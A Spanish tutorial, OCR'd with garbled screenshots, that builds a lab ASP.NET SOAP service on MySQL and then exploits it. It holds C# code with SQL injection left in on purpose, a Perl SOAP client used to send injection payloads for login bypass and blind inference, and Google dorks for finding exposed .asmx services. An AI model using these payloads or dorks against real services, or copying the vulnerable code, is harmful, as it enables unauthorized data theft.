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1. Introduccion

. Qué es un servicio web?

Segun la wikipedia:

Un servicio web (en inglés, Web service) es un conjunto de protocolos y estandares que
sirven para intercambiar datos entre aplicaciones.

Distintas aplicaciones de software desarrolladas en lenguajes de programacion
diferentes, y ejecutadas sobre cualquier plataforma, pueden utilizar los servicios web
para intercambiar datos en redes de ordenadores como Internet.

La interoperabilidad se consigue mediante la adopcion de estandares abiertos.

Las organizaciones OASIS y W3C son los comités responsables de la arquitectura y
reglamentacioén de los servicios Web. Para mejorar la interoperabilidad entre distintas
implementaciones de servicios Web se ha creado el organismo WS-I, encargado de
desarrollar diversos perfiles para definir de manera mas exhaustiva estos estandares.

En resumen, nos sirve para poder utilizar datos desde otras plataformas. Por ejemplo,
supongamos que tenemos una aplicacion bajo Windows con la que gestionamos una
tienda de camisetas y en un momento dado decidimos montar una tienda online o que
nuestra PDA acceda al catdlogo para poder ensefiar a los clientes en tiempo real las
tarifas. Una buena solucion para compartir los datos es montar un servicio web.

Otra utilidad seria la de enviar mensajes SMS, por ejemplo. Supongamos una
plataforma bajo Windows que mediante un moédem GSM realiza envio de SMS a
moviles y deseamos que nuestros colaboradores a través de sus paginas web puedan
mandar también. Pues habilitamos un servicio web a través del cual nuestra base de
datos reciba los datos necesarios para mandar los mensajes. De esta forma, las webs no
tendran acceso directo a nuestro aplicativo pero se les cede un pequefio protocolo para
poder mandar los SMS.

A nivel de programacién no es dificil de implementar y el tiempo que nos lleva es
relativamente reducido, en comparaciéon con todo lo que habria que montar para
exportar los datos en un XML, subirlos a un FTP y recogerlos con un cron.
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Servidor web en Internet
que usa el Servicio Web

Servidor de datos

Wt

Internet

Red local con acceso al aplicativo de gestion

PDAs que obtienen datos a través del Servicio Web

;Por qué este texto?

Normalmente los servicios web no son para uso publico o no estdn facilmente
accesibles para jugar con ellos. Son las aplicaciones las que acceden internamente para
transmitir datos. Es por ello que la seguridad no suele ser muy buena ya que el
programador piensa que solo su aplicacion va a consumir los servicios, pero realmente
el servicio web se encuentra en Internet esperando a que cualquiera conecte con €l para
solicitarle datos.

. Qué tipo de fallos puedo encontrar?

Los mismos que en cualquier web. Sobre todo del tipo SQOL Injection o problemas de
configuracion que permitan acceder a datos sin necesidad de validarnos.

;. Cémo puedo encontrar servicios web?

Google suele ser un buen aliado. Basta con buscar cosas asi:
- inurl:.asmx
- inurl:service.asmx
- inurl:servicel.asmx
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2. Montando una plataforma de pruebas. Requisitos

Vamos a usar dos equipos para las pruebas, uno de ellos con Windows (el otro a gusto
del consumidor).

- El equipo con Windows debe tener:
0 Internet Information Server (IIS)
o ASP20
o MySQL
o MySQL ODBC Connector

- El otro equipo:
0 Perl o ActivePerl (si estd en Windows también)
0 Componente SOAP Litle para perl



3. Creando una base de datos para pruebas

Abrimos el gestor de bases que mas nos guste, o podemos usar la consola:

= CAWINDOWS\system32\cmd.exe - mysql -u root -p

C:“Archivos de programa“~MySQL>~MySQL Server 5.1%bin>nysgl —u root —p
Enter password:

Welcome to the MySQL monitor. Commands end with ; or Sg.

Your MySQL connection id is 1

Server version: 5.1.44-—community MySQL Community Server (GPL)>

Type ‘help;:’ or ‘~h' for help. Type *“c’ to clear the current input statement.
muysgl> _

Y creamos una base de datos de pruebas:

CAWINDOWS\system32\cmd.exe - mysql -u root -p

C:~Archivos de programa~MySQL~MyS5QL Server 5S.1%bin>mysgl —u root —p
Enter password:

llelcome to the MySQL monitor. Commands end with ; opr “yg.

Your MyS3QL connection id is 1

Server version: 5.1.44-—community MyS8QL Community Server <(GPL>

Type 'help;:’ or ‘~h' for help. Type *“~c’ to clear the current input statement.

myzgl>» create database servicioweh;
Query 0K, 1 row affected <B.11 sec)>

myzgl> connect servicioweb;
Connection id:
Current datahbhase: servicioweh

muysgl>

muyzgl> create table uwsuwarios<id int awto_increment, uszer chard25>, pass chapriib)
- primary key{id>>;
Query 0K, A rows affected (H_.28 sec)

mysgl> insert into usuarios (user, pass) values ’pepelux’,. *123456°3;
Query 0K, 1 row affected (B.B5 sec)

mysgl>» create table datos_personales{id int auto_increment, iduser int. nombre c
har(58>,. mail char{158>,. tfno char{15>, primary keyCidd>;

Query OK. B rows affected <(B.82 zec)

mysgl> inzert into datos_personales {(iduser, nombre, mail. tfno? values <1, 'pep
elux’ . *pepeluwxxBgmail.com’, '6GBGBGE6EGGLGY 3 ;

Query 0K, 1 row affected (B.82 secl

Nota: si disponemos de un tercer equipo, también podemos montar alli la BBDD, por
ejemplo bajo un Linux.
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4. Creando el conector ODBC

En el equipo con Windows abrimos el Panel de Control y desde Herramientas
Administrativas accedemos a Origenes de Datos (ODBC). Pinchamos en DSN de
Sistema y le damos a Agregar. Como origen de datos seleccionamos el conector de
MySQL:

Crear nuevo origen de datos

Seleccione un controlador para el que desee establecer un
argen de datos.
M ambre | i
icrozoft Parados-Treiber [*.db | £
Microzoft Text Driver [t " cav] £
Microzoft Text-Treiber [7 bt * cav) £
Microsoft Wisual FosPro Driver 1
Microzoft Wisual FoxPro-Treiber 1
MySOL ODEC 3.51 Diriver 7
SCL Mative Client :
SEL Server : E
L ¥
| Finalizar | Cancelar |
BCEQLar Cancerar | | e r

Rellenamos los campos de esta forma:
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My50QL ODBC 3.51 Driver - DSN Configuration, Yersion 3.51.06

Thiz dialog helpz you in configuring the ODEC Data Source Mame, that you can uze to
connect to MySOL server
DSH Infarmation

D ata Source Mame: Il:ldl:lcpruebas

Dezcription: IM_I,ISE!L ODBC 251 Driver DSM

MySEL Connection Parameters v
Host/Server Mame(ar IF): I|DC6|hDSt h

Databasze Mame: Iser'-.fin::in:nweh M I:’

ronk

EC
|33EIE

SAL command on connect; I

Ilzer

Paszword:

Part [if nat 3306]

ak. Cancel | Optiong > | Test Data Source Help

Nota: he usado root para conectar porque lo he montado todo para hacer las pruebas,
pero también podéis usar un usuario con acceso Unicamente a esa BBDD si es que
tenéis el MySQL con més datos instalados.

Si usaste un tercer equipo, en lugar de localhost deberds poner la IP de la maquina con
MySQL.
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5. Creando un servicio web para pruebas

Abrimos el Visual Studio (en mi caso el 2008) y le damos a nuevo proyecto. Escogemos
Aplicacion de servicios web de ASP.NET y le ponemos el nombre que queramos:

Nuevo proyecto

|.MET Framework 3.5 V|IE||

Tipos de provecto: Plartillas;
=) isual Cat || Plantillas instaladas de ¥isual Studio
L Windows
~Weh |28 Aplicacion web ASP.MET 1, Aplicacidn de servicio web de ASPNET
. Smark Device %Aplicacién de servicios WCF <ECDntrDI de servidor ASP.HET
[# Office 1§]C0ntrol de servidor ASP.MET 814X @Extensor de controles de servidor ...
. Base de datos
- Prueha Mis plantillas
= Reporting :
LOWCE “p|Buscar plantillas en linea...
L wWarkFlow
[# Otros lenguajes
(=) Otros tipos de provectos D
. - Instalacién e implementacién
" Base de datos
i 2 Ervkancihilid=d \_'
< |L*

i Prowecko para crear servicios web XML (. MET Framework .50

Mombre: ! ServiciowebPruebas |
Ubicacian: | C:\Documents and SettingsipepeluxiMis documentosiYisual Studio 2005\Provectos|Pruebs vl [ Examinar... ]
Mombre de la salucidn: i ServiciowebPruebas i Crear directorio para la solucian

[ Aceptar l[ Cancelar ]

Nos creard un archivo llamado Servicel.asmx con lo siguiente:
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=)

=)

!

Psing System;

using System.Collections:

using System.ComponentModel:

using System.Data:

using System.Ling:

uzing System.Web:

using System.Webh.3ervices:

using System.Weh.3ervices.Frotocols:
using System.Xml.Ling;

namespace JerviciolWebPruehas
1
S <sunmar v
44/ Descripocidn breve de Servicel
A4 </ sunmar v
[Tehiervice (Namespace = "http:/ tempuri.org/™)]
[MebhferviceBinding (ConformsTo = WsiProfiles.BasicProfilel 1)]
[ToolhoxItetw (false)]
A4 Para permitir cque se llawe a este sServicio web desde un sScript, usando LSP.NET 4J
A4 [Svstem.Webh.Script. Services. ScriptService]
public class Serwvicel @ Systetw.Web.Services.llehService
{

[WMebMethod]
public string HelloWorld()
{

return "Hello World"™:

Modificamos el codigo escribiendo esto:

using System;

using System.Collections;

using System.ComponentModel;
using System.Data;

using System.Ling;

using System.Web;

using System.Web.Services;

using System.Web.Services.Protocols;
using System.Xml.Ling;

using System.Data.Odbc;

namespace ServicioWebPruebas

{

/// <summary>

/// Descripcion breve de Servicel

/// </summary>

[WebService(Namespace = "http://tempuri.org/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfilel_1)]
[ToolboxItem(false)]

/1

Para permitir que se llame a este servicio web desde un script, usando ASP.NET AJAX, quite la

marca de comentario de la linea siguiente.

/1

[System.Web.Script.Services.ScriptService]

public class Servicel : System.Web.Services.\WebService

{

string cadenaSQL = "DSN=odbcpruebas"; // nombre de nuestro conector ODBC

/**

* PARSEAR LOS RESULTADOS

*/

public string[][] convierteSqglDataReader(OdbcDataReader dr)
{
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string[][] resultado = null;
string[][] tmp = null;

inti =0, j;

if (dr = null && dr.HasRows)

while (dr.Read())
{
resultado = new string[i + 1][];

for (intk = 0; k <i; k++)
resultado[k] = (string[])tmp[k].Clone();

resultado[i] = new string[dr.FieldCount];

for (j = 0; j < dr.FieldCount; j++)
resultado[i][j] = dr.GetValue(j).ToString().Trim();

tmp = (string[][])resultado.Clone();
i++;
b
b

return resultado;

b

/**

* VALIDACION DE UN USUARIO

*/

[WebMethod]

public bool validarUsuario(string user, string pass)

{
string[][] resultado = null;
bool validacion = false;

OdbcConnection cnBD = new OdbcConnection(cadenaSQL);
OdbcCommand cmdSQL = new OdbcCommand("SELECT id FROM usuarios WHERE user="" +
user + "' AND pass="" + pass + """, cnBD);

try

cnBD.Open();
OdbcDataReader drSQL = cmdSQL.ExecuteReader();

resultado = convierteSqlDataReader(drSQL);
¥

catch { return false; }
if (resultado != null) validacion = true;
cnBD.Close();

return validacion;

b

/**

* OBTENER DATOS DEL USUARIO

*/

[WebMethod]

public string[][] obtenerDatos(int iduser)

string[][] resultado = null;
string cad = "SELECT nombre, mail, tfno FROM datos_personales WHERE iduser=" + iduser;

OdbcConnection cnBD = new OdbcConnection(cadenaSQL);
OdbcCommand cmdSQL = new OdbcCommand(cad, cnBD);

try
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cnBD.Open();
OdbcDataReader drSQL = cmmdSQL.ExecuteReader();

resultado = convierteSqlDataReader(drSQL);
¥
catch { }
cnBD.Close();

return resultado;

Compilamos y lo ejecutamos. Se nos abrird nuestro navegador con un puerto temporal
para depurar la aplicacion y podremos ver algo asi:

ervicel

Las operaciones siguientes son compatibles, Para una definicion formal, revise |a descripcion de servicios,

® validarUsuario

Este servicio Web utiliza http: / /tempuri.org/ como espacio de nombres predeterminado.
Recomendacidn: cambiar el espacio de nombres predeterminado antes de hacer piblico el servicio Web XML.
Cada servicio Web XML necesita un espacio de nombres dnico para gue las aplicaciones de cliente puedan distinguir este servicio de otros servicios del Web,
http:/ftempuri.org/ esta disponible para servicios Web XML que estdn en desarrollo, pero los servicios Web XML publicados deberian utilizar un espacio de nombres mas
permanente,
Debe identificar su servicio Web XML con un espacio de nombres que contrale. Por ejemplo, puede utilizar el nombre de dominio de Internet de su compafiia como parte
del espacio de nombres. aunque muchos espacios de nombres de servicios Web XML parecen direcciones URL, éstos no pueden sefialar a recursos reales en el Web. (Los
espacios de nombres de los servicios Web XML son los URI.)
En los servicios Web =ML que se crean con ASP.MNET, se puede cambiar el espacio de nombres predeterminado utilizando la propiedad Namespace del atributo WebService,
Este atributo es un atributo aplicado a la clase que contiene los métodos del servicio Web XML, & continuacion se muestra un ejemplo de codigo que establece el espacio de
nombres en "http:/fmicrosoft. com/webservicess":
Cc#

[WebService (Hamespace="http://mictozofe. com/websanvicas/ "]

public class MyWebService {

44 inplementacidin

¥

Wisual Basic
<MebBervice (Wamespace: ="hobp://miczozsoft. comimeboervices/ "> Public Clazs MyWebBervice

' implaementacidn
End Class

CH++
[WebService (Namespace="http://mictosoft. com/websanvicas/ ") ]
public ref class MylshService {
J/ inplementacisn

i

Para obtener mas detalles acerca de espacios de nombres %ML, vea |a sugerencia W3C en Espacio de nombres en XML,

Para obtener mas detalles acerca de WSDL, vea Especificacidon WSDL, |

Arriba tenemos los dos métodos y podemos pinchar sobre ellos para probar que todo
funciona correctamente:



Prueba

Haga clic en el botdn 'Invocar', para probar la operacidn utilizando el protocola HTTP POST,
Pardmetra Walor

iduser: 1]

Invocar

S0OAP 1.1
A continuacidn se muestra un ejemnplo de solicitud v respuesta para SOAP 1.1, Es necesario reemplazar los marcadores de posicidn que aparecen con valores reales,

POBT /Servicel.asns HITES1.1

Host: localhost

Content-Type: text/zml; charsec=utf-3
Content-Length: langth

B0PAction: "http://tempuri.orgl chtenerlatos"

<?xnl wersisn="1.0" sncoding='utf-§"73
<zoap:Envelope smlnz:nsi="hobp:/fwom.wd . org/ 2001/ XMLE chema- instance ! stnlns:xzd="hetp://wm. w3 . org/ Z00L/ XMLEchema" smlns:soap="http:// zchemas.uml zoap. orgf soap/ enve
<soap:Body>
<obtenerDator xmmlns="http://tempuri.org/ ">
<iduser>intdf iduserd
</ cbtenerDatos>
</ =eap:Bedy>
</soap:Envelopes

HTTP/ 1.1 200 0K
Content-Type: text/zml; charset=utf-&
Content-Length: langth
<%xml wersion="1.0" encading='utf-&"?>
<=eap:Envelops xmlns:xsi="heep:/ wom.wl.org/ 2001/ XMLI chema- insvance" xmlne:x=d="heep://wm.wi. org/ 2001/ XML Schama" xmlns:=eap="herp://schemas . xml soap.oog’ seap/ anore
<zoap:Eody>
<ebtenerDatosRezponse amlns="http://tempuci.orgl ">
<obtenerDatoskesult
<ArraylEStrings
<=tTingTstring</ string>
<=tringrstringd/=srings
</ ArrayDEString>
<ArrapdEStrings
<=tringrstringd/=srings
<rtring>etringestrings
</ brray0EBoring>
</ obtenerDatosResul &>
<f cbtensrlatosResponsal
</ soap:Body>
</ =o0ap:Envelope>

Este fichers 2L no parece tener ninguna informacidn de estilo asociada. Se muestra debajo el drbol del documento.

- <ArrayOfAarayOfShing=
- <ArrayOfSting>
<strng>pepelux<istimg>
<string=>pepeluz@gmal com</string>
<strng>6H6606660</strng >
=fArrayOfSting>
<fArrayOfArravOfShing=

Lo mismo con el otro método:
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Prueba

Haga clic en el botdn 'Invocar', para probar la operacidn utilizando el protocola HTTP POST,
Fardmetro Valor

user: pepelux
pass: 123456|
Invocar
S0AP 1.1

A continuacion se muestra un ejernplo de solicitud v respuesta para SOAP 1.1, Es necesario reemplazar los marcadaores de posicion que aparecen con valores reales.

POST fBezwicel.asnae HTTP/1.1
Hoszt: localhost
Content-Type: tewt/xml,; charset=utf-&
Content-Length: length
S0APAction: "http://tenpuri.org/validarleuaris"
<txml wersion="1.0" encoding="utf-&"?>
<=oap:Enwvelope xwlns:x=i="hetp://wwm w2 org/ 2001/ IMLEchema- instance " xmlns:x=d="hesp:/fwom w2 org/ 2001/ IMLEchema" xmlns: =oap="hesp:// =chemas _xml=oap_orgd =oap/ erare
<soap:Body>
<wal idarUsuazic nmlnz="http://tenpusi.org’ ">
tumerdmtringtusers
<pass>svringc/pass>
<fwal idarUsuario>
</ =cap: Body>
</ zoap:Enveloper

HITP/ 1.1 200 0K
Content-Type: text/znl; charset=utf-§
Content-Length: length

<ixml wersion="1.0" ancoding="utf-&"?>
<=oap:Enwveleops xmwlns:x=i="hecp://wew.w?. org/ 200 XML Echema- instance " xmlns:x=d="hevp:/ fwwm. w2 org/ 200/ XML chama" xmlns: zeap="hetp:// schemas xmleoap . oxgd =oap/ arars
<soap:Body>
<val idarUsuarickesponze xnlns="http: //tempuri.ocgl ">
<wal idarUsuarioResult>bool ean</val idarUsuar ioResult:
</wal idarVUsuazicResponses
</=cap:Body>
</ zoap:Enveloper

Este fichero 3L no parece tener ninguna mformacién de estilo asociada. Se muestra debajo el arbol del documento.

<hoolean>true</hoolean>

Pues ya tenemos nuestro servicio web montado. S6lo nos queda publicarlo para que sea
accesible desde la web:

fiz oo g E;,

H (aenerar

Valver a generar
d Lirnpiar
Publicar. ..
Convertir en aplicacion web
'@; Comprobar accesibilidad. .
Agregar »
Agreqar referencia. ..
agrenar referencia Web, .,

Agregar referencia de servicio.. .
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Publicacion weh

iDonde desea publicar ServicioWebPruebas?

Ruta de acceso al disco (http:, Ftp: o ruta de disco)
|htt|:|:,l',l'Iu:u:thu:ust,l'prueI:uasS'-.-'-.-' w | [ ]

(%) Reemplazar archivos coincidentes con copias locales

() Eliminar todos los archivos existentes antes de publicar

Zopiar

{®) 58lo los archivos necesarios para ejecutar esta aplicacion
i) Todos los archivos del provecto

i) Todos los archivos de la carpeta de provecto de origen

Incluir archivos de la carpeta App_Data

[ Publicar l [ Cancelar

Si accedemos a la carpeta donde tenemos el IIS podemos ver que se cred nuestro
servicio:



Archivo  Edicidn Wer  Favoritos  Herramientas  Ayuda -'?;'b

entrés ™ .__) |? /'_' EBilisgueda ||_ Carpetas 'r

Direccian Huj CihInetpubiwansrook M | Ir
- - I ﬁuﬂpruebasSW
i i = ;
@ Tareas de imigenes Qhelp.glf
| Ljiisstart,asp
'f;l' ‘et como una presentacidn | & indes. html
—
() Pedir copias fotogréficas en J localstart. asp
linea Lﬂ mme.gif
by Imprimir imagenes |ﬂ pagerror,gif
&) Copiar todos los elementas 5 = print. if
un €0 [ Thumbs.db
|ﬂ warning. gif
= L‘ﬂ web, gif
Tareas de archivo y carpeta * 'L;.'j WAL

l-:j Crear nueva carpeta
@ Publicar esta carpeta en Weh
el Compattir esta carpeta

Otros sitios

) Inetpub

@ [lis imégenes
:J M PC

i‘-j Iis sitios de red

i

Detalles

wwwrook e

Y si lo probamos desde el navegador, deberia funcionar correctamente. Para ello
accedemos a:

http://localhost/pruebasSW/Servicel.asmx

Nota: desde localhost podemos interactuar con la BBDD pero si accedemos a la web
remotamente (como veremos) s6lo nos enumerara los servicios sin poder hacer nada.
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frchiva  Editar  Wer  Historial  Marcadores  Herramientas  Avuda

(<) > BCHP

M&!’T = Services ~+ | Noinformation available

|j http:filocalhostiprusbassi/Service 1, asmx

| ] Servicel Servicio Web + -

Servicel

Las operaciones siguientes son compatibles. Para una definicidn formal, revise |s descripcidn de servicios.
® ohtenerDatos

® validarUsuario

Este servicio Web utiliza http: / ftempuri.org/ como espacio de nombres predeterminado.

Recomendacidn: cambiar el espacio de nombres predeterminado antes de hacer piiblico el servicio Web XML.

Cada servicio Web ®ML necesita un espacio de nombres dnico para gue las aplicaciones de cliente puedan distinguir este servicio de otros servicios del Web,
http:/ftempuri.orgs estd disponible para servicios Web XML que estdn en desarrollo, pero los servicios Web #ML publicados deberfan utilizar un espacio de nombres més
permanente,

Debe identificar su servicio Web ®¥ML con un espacio de nombres que contrale. Por ejermpla, puede utilizar el nombre de dominio de Internet de su compafiia como parte
del espacio de nombres. aungue muchos espacios de nombres de servicios Web XML parecen direcciones URL, estos no pueden sefialar a recursos reales en el Web, (Los
espacios de nombres de los servicios Web XML son los URL)

En los servicios Web xML que se crean con ASP.MET, se puede cambiar el espacio de nombres predeterminado utilizande la propiedad Mamespace del atributo WebService,
Este atributo es un atributo aplicado a la clase que contiene |os métodos del servicio Web ®ML, & continuacidn se muestra un ejemplo de cddigo que establece el espacio de
nombres en "httpi//microsoft.com/webservices™:

c#

[WebZervice (Namespace="Rttp://miczosoft . comdmebzervices/ "]
public class MylebService {
#inplemantacisn

¥

Visual Basic

<WehBervice (Hamespace: ="http: //microsoft commebservices/ 1> Public Class MyllebService
! implementacifn

End Cla==

C++
[WebBezvice Namespace="http://miczosoft. comimeboervicas/ 1]
public zef class MyWebService {
A4 implementacidn
r =
Para obtener més detalles acerca de espacios de nombres XML, ves la sugerencia W3C en Espa de nombres en XML,

Para obtener més detalles acerca de WSDL, vea Especificacion WSDL,

http:fflocalhost/pruebasSwfService 1 asmx?op=obtenerDatas
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6. Probando el servicio web en remoto

Nos vamos al otro equipo y abrimos el navegador. Cargamos la ruta del servicio web de
la misma forma que antes:

Archivo Editar Ver Historial Marcadores Herramientas Ayuda

@ & ~ 2 ® W [@ntrp//192,168.2.5/pruebasSW/Service 1.asmx i

_MHerergrr ~  senices ¥ | No information available

@Desactivar~ & Cookies™ [ICSS™

[ Service1 Servicio Web | + ¥

ElFormularios™ M Iméagenes™ @ Informacion™ Varlos™ _/Resaltar~ . iTamafio™ Herramientas™ {x|Cédigo fuente™  >Opciones™ X @&

Servicel

Las operaciones siguientes son compatibles. Para una definicion formal, revise la descripcion de servicios.

Este servicio Web utiliza http://tempuri.org/ como espacio de nombres predeterminado.
Recomendacion: cambiar el espacio de nombres predeterminado antes de hacer piblico el servicio Web XML.

Cada servicio Web XML necesita un espacio de nombres tinico para que las aplicaciones de cliente puedan distinguir este servicio de otros servicios del Web. hitp://tempuriorg/ esta disponible para servicios Web XML que estan en desarrollo,
pero los servicios Web XML publicados deberian utilizar un espacio de nombres mas permanente

Debe identificar su servicio Web XML con un espacio de nombres que controle. Por ejemplo, puede utilizar el nombre de dominio de Internet de su compafiia como parte del espacio de nombres. aunque muchos espacios de nombres de servicios
Web XML parecen direcciones URL, dstos no pusden sefialar a recursos reales en el Web, (Los espacios de nombres de los servicios Web XML son los URL)

En los servicios Web XML que se crean con ASP.NET, se puede cambiar el espacio de nombres predeterminado utilizando la p%ﬁedad WNamespace del atributo WebService. Este atributo es un atributo aplicado a la clase que contiene los métodos
del servicio Web XML. A contimiacion se musstra un ejemplo de cédigo que sstablece el espacio de nombres en *hitp: ffmicrosoft. comwebservices/"

=
i P fimicrosstt "1
public clacs MyWebService {
4 inplenencacidn
3
Visual Basic
pe/nicrosste 43> Public Class MyWsbServics
* inplementacidn
End Class

Gt

. P fimicrosste "1
public ref clasc MyWebService {
4 inplensnraciin

¥

Para obtener mas detalles acerca de espacios de nombres XML, vea la sugerencia W3C en Espacio de nombres en XML

http://192.168.2,5/pruebasSW/Service1.asmx?op
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Archivo Editar Ver Historial Marcadores Herramientas Ayuda

@ & v 2 8 7 [[0]rtpU/192.168.2 5/pruebasSWiService 1 asmx?op=obtenerDatos -

_MHerergrr ~  senices ¥ | No information available
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Servicel

Haga clic aqui para obtener una lista completa de operaciones.

obtenerDatos
Prueba
El formulario de prueba sdlo esta disponible para solicitudes del equipo local
SOAP 1.1 N
A continuacion se muestra un ejemplo de solicitud y respuesta para SOAP 1.1. Es necesario resmplazar los marcadores de posicion que aparecen con valores reales.

POST /prusbassW/Servicel asms HTTF/L.1
Host: 132.168.2.5

Content-Type: text/xnl; charset=utf-8
Contant-Length: lenath

SOAPAction: "hrcp://Tempuri.arg/obrensrDaras”

<Punl version="1.0" encoding="utf-8"?%
=soap:Envelope xmins:xsi="hTtp: //wad.w3.org/2001/XHLSchena- instance” xminsixsd="http://www . 0rg/2001 XMLSchema’ ¥mins:soap="http://schemas. xmlsoap. org/soap/envelope/ >
<<0ap:Eadh
<obtensrDatos xmlns="http: //Tempuri.org/">
sdduserrints/idusers
</obtenerDatos>
</c0ap:Body>
</soap:Envelopes

HTTP/1.1 200 OK
Content-Type: text/xnl; charset=utf-g
Content-Length: length

<%xnl version="1.0" encoding="utf-8"7
=soap:Envelope xminsixsi="hTtp://wwi. w3, 0rg/2001/XHLSchena- instance” xminsixsd="hetp://wuw.wd. 0rg/2081 XMLSchema’ xmins:s0ap="http://schenas.xnlsoap. org/soap/envelope/ >
<coap:Eady:
<obtensrDatosRespanse xnin
obrenerDatasResult>
<Array0fString>
estringsstringe/strings
cstringastring</strings
</Array0fString>
<Array0fString>
estringsstringe/etrings
cstringastring</strings

tep: f/tempurioorg/a

Terminado | Tor deshabiltado
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Como podemos ver, ahora ya no nos da opcion a introducir datos. Para ello necesitamos
un programa que interactiie con el WSDL.

Por tultimo, para ver el XML del servicio web accederemos a la siguiente URL:

e leeweasel
Archivo Editar Ver Historial Marcadores Herramientas Ayuda
@ & -~ 2 8 W [[0]rtpU/192.168.2.5/pruebasSWiService 1 asmx?WSDL v [~ [Google @

Mererghr v Seices ¥ | No information available

@Desactivar™ & Cockies™ [ICSS™ =lFormularios™ [#méagenes™ @ Informacién™ WVarlos™ _~/Resaltar™ . iTamafio™ “Herramientas™ {iCédigo fuente™
[6] http;#/192.....asmx?WSDL % |[o| Servicel Servicio Web x|+

SOpciones™ « © @

Este fichero XML no parece tener ninguna informacién de estilo asociada. Se musstra debajo el arbol del documento.

—<wsdl:definitions targetNamespace="http://tempuri.org/">
—<wsdl:types>
—<s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.crg/">
—<s:element name="validarUsuaric"> [ ]
—<s:complexType>
—<s:sequence> N
<s:element minOccurs="0" maxOccurs="1" name="user" type="s:string"/>
<s:element minOccurs="0" maxOccurs="1" name="pass" type="s:string"/>
</s:sequence:>
</s:complexType>
</s:element>
—<s:element name="validarUsuaricResponss">
—<s:complexType>
—<s:sequences>
<s:element minOccurs="1" maxOccurs="1" name="validarUsuaricResult" type="s:boolean"/>
</s:sequence>
</s:complexType>
</s:element>
—<s:element name="obtenerDatos">
—<s:complexType>
—<sisequence>
<s:element minOccurs="1" maxOccurs="1" name="iduser" type="s:int"/>
</s:sequence>
</s:complexType:>
</s:element>
—<s:element name="obtenerDatosResponse">
—<s:complexType>
| Terminado
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7. Creando un conector en perl

En mi caso voy a usar el otro equipo con Linux Debian.

Lo primero de todo serd instalar el SOAP en perl. Lo podemos descargar en
http://search.cpan.org/CPAN/authors/id/M/MK/MKUTTER/SOAP-Lite-0.710.08.tar.gz.

Tras descomprimirlo y entrar en la carpeta ejecutamos:
1. perl Makefile.PL
2. make
3. make test
4. sudo make install

Y ahora vamos a jugar un poco con el servicio web ...

Primero vamos a obtener algo de informacion acerca del servidor web:

#!/usr/bin/perl

use SOAP::Lite +trace => 'debug';

my $soap = SOAP::Lite
-> uri('http://tempuri.org')
->on_action( sub { join /', 'http://tempuri.org', $ [1] })

-> proxy(‘'http://192.168.2.5/pruebasSW/Servicel.asmx");

my $method = SOAP::Data->name('validarUsuario')

->attr({xmlns => 'http://tempuri.org/'});

my $result = $soap->call($method)->result;

En wri escribimos el namespace. Este lo podemos encontrar accediendo a
http://192.168.2.5/pruebasSW/Servicel.asmx?WSDL en la etiqueta targetNamespace:

<wsdl:definitions targetNamespace="http://tempuri.org/">

En proxy escribimos la URL con la que accedemos al servicio web.



En SOAP::Data escribimos el método al que queremos invocar. En este caso
validarUsuario.

Al usar +trace => 'debug’ obtendremos por pantalla la depuracion de todo el proceso de
conexion, mostrandonos bastante informacion interesante como:

SOAP::Transport::HTTP::Client::send_receive: HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Connection: close

Date: Fri, 12 Mar 2010 16:28:37 GMT
Server: Microsoft-1IS/5.1

Content-Length: 373

Content-Type: text/xml; charset=utf-8
Client-Date: Fri, 12 Mar 2010 16:28:18 GMT
Client-Peer: 192.168.2.5:80
Client-Response-Num: 1

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Con esta informacion podemos ver la version del servidor web y la version de ASP
entre otras cosas.



8. Explotando el servicio web

Ahora vamos a intentar explotar la funcion validarUsuario y para ello usaremos el
siguiente script en perl:

#!/usr/bin/perl
#use SOAP::Lite +trace => 'debug’;

use SOAP::Lite;

my ($user, $pass) = @ARGV ;

unless(SARGV[1]) {
print "Uso: perl $0 <user> <pass>\n";

exit 1;

my $soap = SOAP::Lite
-> uri('http://tempuri.org')
->on_action( sub { join /', 'http://tempuri.org', $ [1] })

-> proxy('http://192.168.2.5/pruebasSW/Servicel.asmx');

my $method = SOAP::Data->name('validarUsuario')

->attr({xmlns => 'http://tempuri.org/'});

my @params = ( SOAP::Data->name(user => $user),

SOAP::Data->name(pass => $pass) );




print $soap->call($method => @params)->result . "\n";

Y lo probamos desde la consola:

perl conectorl.pl pepelux 123456

perl conectorl.pl pepelux xxx

'l

perl conectorl.pl "' or'a'='a" "' or 'a'="a

151"

perl conectorl.pl xxx "' or 'a'='a

Como se puede apreciar, un servicio web mal configurado es igual que cualquier otra
web vulnerable. En este caso, con posibilidad de hacer inyecciones SQL.

Podemos dejar correr la imaginacion ...

1h1—=14!

perl conectorl.pl x "' or 'a'="a' and version()>5 and 'a'='a

1h'1—=14!

perl conectorl.pl x "' or 'a'="a' and version()>6 and 'a'='a

false
' ' ol

perl conectorl.pl x or 'a'='a
usuarios)>0 and 'a'='a

and (select count(*) from

true

Partiendo de aqui es muy sencillo hacer un script para extraer datos con los cientos de
métodos de SQLi que hay.

Podriamos explotar también la otra funcién pero no voy a extenderme mas ya que la
finalidad de este texto no es volver a explicar como hacer inyecciones de SQL.



Si  quieres seguir con las pruebas te recomiendo que leas esto:
http://msdn.microsoft.com/en-us/library/ms995764.aspx donde se explica como enlazar
desde perl con un servicios web. Y es que el segundo método no devuelve true o false
sino una matriz de resultados y habria que extraer todos los datos ampliando un poco el
script anterior.

Otro enorme fallo que se puede encontrar es, como en este caso, que existe una funcion
que valida el usuario pero luego el resto de funciones no comprueban nada. Es decir,
una aplicacion web o un programa de escritorio, accedera al servicio web de forma
ordenada:

1- solicitud de user/pass

2- llamada a funcion validarUsuario(user, pass)
3- si el resultado es true va al paso 5

4- muestra error y vuelve al paso 1

5- llamada a funcion obtenerDatos (iduser)

Este seria un paso logico pero, tal y como hemos visto, si accedemos al servicio web
directamente, podemos invocar a la funcidon que queramos, sin necesidad de pasar por la
validacion.

Una implementacion correcta seria:

validarUsuario(user, pass);
obtenerDatos(user,pass,iduser);

o bien:

validarUsuario(user, pass) — idsesion;
obtenerDatos(idsesion,iduser);

También se ha puesto bastante de moda el uso de servicios web para envio de mensajes
a moviles. Imagina con un pequefio script todo lo que se podria hacer si no valida
correctamente. Y es que, como he dicho antes, muchas veces so6lo se piensa en los datos
que nos van a mandar y no en implementar mecanismos de seguridad, ya que los
usuarios que van a consumir ese servicio web, en teoria van a ser ellos mismos o los
partners.



